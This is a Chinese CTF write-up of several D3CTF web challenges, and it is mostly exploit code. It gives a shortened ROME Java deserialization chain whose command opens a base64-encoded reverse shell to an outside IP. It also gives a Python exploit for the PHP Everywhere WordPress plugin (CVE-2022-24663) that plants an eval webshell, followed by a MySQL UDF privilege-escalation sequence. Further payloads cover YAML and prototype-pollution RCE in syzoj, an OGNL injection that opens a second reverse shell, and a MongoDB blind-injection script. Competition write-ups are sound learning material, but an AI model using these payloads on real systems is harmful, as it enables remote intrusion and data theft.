shorter
附件给了一个jar包,反编译后发现反序列化点,但是有长度限制1956
看一下lib库,发现了rome-1.0,这个依赖存在反序列化点
所以思路就是通过缩小后的 rome 链子打过去,说到缩小payload的技术,许少的文章和工具:
终极Java反序列化Payload缩小技术 - 先知社区 (aliyun.com)
rome链:Java安全之ROME反序列化利用分析 · 语雀 (yuque.com) 、ROME反序列化分析 (c014.cn)
先手动尝试构造
package org.sec.payload;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.syndication.feed.impl.EqualsBean;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javassist.CtNewConstructor;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Hashtable;public class ROME { public static void setFieldValue (Object obj,String fieldname,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true ); field.set(obj,value); } private static byte [] getShortTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil" ); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superClass); CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" + " try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " }catch (Exception ignored){}\n" + " }" , ctClass); ctClass.addConstructor(constructor); byte [] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte []{}; } } public static void main (String[] args) throws Exception { byte [] code = getShortTemplatesImpl("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNi4xMTAuNjEvMzAwMCAwPiYx}|{base64,-d}|{bash,-i}" ); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_name" ,"jiang" ); setFieldValue(obj,"_class" ,null ); setFieldValue(obj,"_bytecodes" ,new byte [][]{code}); EqualsBean bean = new EqualsBean(String.class,"jiang" ); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy" ,bean); map1.put("zZ" ,obj); map2.put("zZ" ,bean); map2.put("yy" ,obj); Hashtable table = new Hashtable(); table.put(map1,"1" ); table.put(map2,"2" ); setFieldValue(bean,"_beanClass" ,Templates.class); setFieldValue(bean,"_obj" ,obj); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(table); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); } }
尝试将rome链子直接放到工具里面,自动生成
package org.sec.payload;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.syndication.feed.impl.EqualsBean;import javax.xml.transform.Templates;import java.util.HashMap;import java.util.Hashtable;@SuppressWarnings("all") public class ROME extends Payload { public static byte [] getPayloadUseCommand(String cmd) { byte [] code = Generator.getTemplateImplBytes(cmd); return getPayloadUseByteCodes(code); } public static byte [] getPayloadUseByteCodes(byte [] byteCodes){ try { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_name" ,"jiang" ); setFieldValue(obj,"_class" ,null ); setFieldValue(obj,"_bytecodes" ,new byte [][]{byteCodes}); EqualsBean bean = new EqualsBean(String.class,"jiang" ); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy" ,bean); map1.put("zZ" ,obj); map2.put("zZ" ,bean); map2.put("yy" ,obj); Hashtable table = new Hashtable(); table.put(map1,"1" ); table.put(map2,"2" ); setFieldValue(bean,"_beanClass" ,Templates.class); setFieldValue(bean,"_obj" ,obj); return serialize(table); }catch (Exception e) { e.printStackTrace(); } return new byte []{}; } }
maven打包生成jar包
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNi4xMTAuNjEvMzAwMCAwPiYx}|{base64,-d}|{bash,-i}
传paylaod时,url加密一下,还有Y4的 ROME改造计划 | Y4tacker’s Blog
NewestWordPress
wordpress
php_everywhere
mysql udf提权
描述
The newest WordPress version! Oh… 5.9.1 is the newest… P.S. Challenge environment reset every 10min.
Hint: WordPress 和 UsersWP 都是最新版本 问题不在 WordPress 和 UsersWP 上 而在一个 WPScan 没有识别出的插件上
找到最近出漏洞的插件 php_everywhere https://threatpost.com/php-everywhere-bugs-wordpress-rce/178338/
http://d3wordpress.d3ctf-challenge.n3ko.co/wp-content/plugins/php-everywhere/
插件 php-everywhere 最新的洞 CVE-2022-24663 可以任意代码执行
https://www.wordfence.com/blog/2022/02/critical-vulnerabilities-in-php-everywhere-allow-remote-code-execution/
exp
import requestsimport base64base_url = "http://global-wordpress-d3ctf-challenge.n3ko.co" def getShell (): sess = requests.session() login_url = base_url + "/wp-login.php" login_data = { "log" : "test" , "pwd" : "testtest" , "wp-submit" : "Log In" , } res = sess.post(login_url, data=login_data) getShell_url = base_url + "/wp-admin/admin-ajax.php" encoded_payload = 'W3BocF9ldmVyeXdoZXJlXTw/cGhwCnByaW50KF9fRElSX18pOwokYj0nUEQ5d2FIQUtaWFpoYkNna1gxQlBVMVJiSjJ GdWRDZGRLVHNLUHo0PSc7CmZpbGVfcHV0X2NvbnRlbnRzKF9fRElSX18uJy8uLi8uLi91cGxvYWRzLzIwMjIvMDMvMS5 waHAnLGJhc2U2NF9kZWNvZGUoJGIpKTsKPz5bL3BocF9ldmVyeXdoZXJlXQo=' getShell_data = { "action" : "parse-media-shortcode" , "shortcode" : base64.b64decode(encoded_payload), } sess.post(getShell_url, data=getShell_data) def main (): getShell() if __name__ == "__main__" : main()
payload为
[php_everywhere]<?php print(__DIR__);$b='PD9waHAKZXZhbCgkX1BPU1RbJ2FudCddKTsKPz4=';file_put_contents(__DIR__.'/../../uploads/2022/03/1.php',base64_decode($b));?>[/php_everywhere]
getshell之后翻找 wp-config.php 文件来得到 MySQL 的相关配置
// ** Database settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** Database username */ define( 'DB_USER', 'root' ); /** Database password */ define( 'DB_PASSWORD', '9Z98g4nmbJxrF5aYHvGaatyi354WxYyp' ); /** Database hostname */ define( 'DB_HOST', '127.0.0.1:3306' ); /** Database charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' ); /** The database collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' );
可以发现是使用高权限账户来链接数据库的 打一个 udf 提权就可以拿到 shell,flag 在根目录下
然后写一个跳板操作数据库
// mysql.php <?php error_reporting(E_ALL); $mysqli = new mysqli("127.0.0.1","root","9Z98g4nmbJxrF5aYHvGaatyi354WxYyp","wordpress"); $tmp = $mysqli->query($_POST['sql']); $result = $tmp->fetch_all(); var_dump($result); ?>
打MYSQL udf ,sqlmap中或者msf中自带就行
show variables like ‘%plugin%’; 查看插件库路径
SELECT 0x7f454c...... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'; SELECT sys_eval('ls /'); SELECT sys_eval('cat /ff114499_i5_h3Re');
d3oj 找到源码:syzoj/syzoj: 一个用于算法竞赛的在线评测系统。An online judge system for algorithm competition. (github.com)
非预期解 YAML 反序列化漏洞 WS-2019-0063 上传下面的数据(data.yml)到创建的题目可以造成rce
{ toString: !<tag:yaml.org,2002:js/function> 'function (){app.use("/rce", (q,r)=>r.send(eval(q.body.c)));}' } : 1
任意登录 https://github.com/syzoj/syzoj/blob/master/app.js#L276
if (req.cookies.login) { let obj; try { obj = JSON.parse(req.cookies.login); User.findOne({ where: { username: obj[0], password: obj[1] } }) } }
发送下面的数据可以登录任意用户
password: { password: 1 }
CVE-2020-8158 发送下面的数据到 {host}/article/0/edit 可以rce
data = {"title":"rce","content":{"__proto__":{"outputFunctionName":"ee;app.use('/rce', (q,r)=>r.send(eval(q.body.c)));return 'rce!';//"}}}
ezsql
dockerfile.bak
FROM maven:latest as builder1 WORKDIR /build ADD . . ADD ./settings-docker.xml /root/.m2/settings.xml RUN mvn clean package FROM debian:buster-slim as builder2 ADD readflag.c /readflag.c RUN apt update && apt install -y gcc RUN gcc /readflag.c -o /readflag FROM openjdk:11-jdk WORKDIR /app COPY --from=builder1 /build/target/ezsql-0.0.1-SNAPSHOT.jar . COPY --from=builder2 /readflag /readflag RUN echo d3ctf{FLAG} > /flag RUN chmod 0400 /flag RUN chmod 0444 Dockerfile ezsql-0.0.1-SNAPSHOT.jar RUN chown root:root /flag ezsql-0.0.1-SNAPSHOT.jar Dockerfile RUN chmod 4555 /readflag RUN useradd d3ctf USER d3ctf ENTRYPOINT [ "java", "-jar", "ezsql-0.0.1-SNAPSHOT.jar"]
还给了一个jar包,反编译看一下,jd-gui反编译出来缺少代码,使用idea反编译
能看出一处sql注入
发现后端是用mybatis
wp:mybatis 的 SQL 映射支持使用 OGNL 表达式, VoteProvider 直接使用字符串拼接来生成 SQL 语句,如果错误地把 用户输入拼接进去,不仅会发生 SQL 注入,还会引发 OGNL 注入
表达式注入rce
${xxx} 告诉 mybatis 在此处创建一个预处理语句参数,借助 OGNL 来实现参数 SQL 语句的参数绑定。 如果用户能够控制 ${} 中的内容,就能通过 OGNL 表达式来注入到达 RCE 的目的
题目里使用的 org.mybatis.spring.boot 是最新的 2.2.2 版本,对应的 OGNL 依赖的版本为 3.3.0, 高版本的 OGNL 启用了 stricter invocation mode ,使用硬编码的方式 ban 掉了一些 class, 其中就包括 java.lang.Runtime ,要 bypass 得借助反射
payload,整体urlencode一次
/vote/getDetailedVoteById?vid=3) union select null,"${#this.getClass().forName('java.lang.Runtime').getMethods()[14].invoke(#this.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(),'bash,-c,bash -i >& /dev/tcp/121.5.169.223/39876 0>&1'.split(','))}",null,null,null--+
d3fGo 给了一个ELF文件,go编译的web服务端,不会弄,也尝试使用ida提取信息,太菜了,不会弄,最后是个Nosql注入
WP:
fgo 里搜/api搜到/api/Admini/Login。
fgo 里搜*struct 搜到seeecret字段。
粗略查看/api/Admini/Login的逻辑,如果提交的数据有seeecret字段 则mongodb查询参数是username password seeecret三个字段,否则是username password 两个字段。
seeecret字段 mongodb布尔盲注出flag。
/api/Admini/Login *struct { Username interface {} \"json:\\\"username\\\"\"; Password interface {} \"json:\\\"password\\\"\"; Seeecret interface {} \"json:\\\"seeecret\\\"\" }
exp
import requestsimport string,reip = "http://7b470ec8f6.fgo-d3ctf-challenge.n3ko.co" proxies = {} def main (): flag = "" while 1 : for i in string.printable: t = flag + re.escape(i) resp = requests.post(ip + "/api/Admini/Login" ,json={ "username" :{"$ne" :"123" },"password" :{"$ne" :"123" }, "seeecret" :{"$regex" :"^" +t} },proxies=proxies) if resp.status_code == 200 : flag = t print(flag) break main()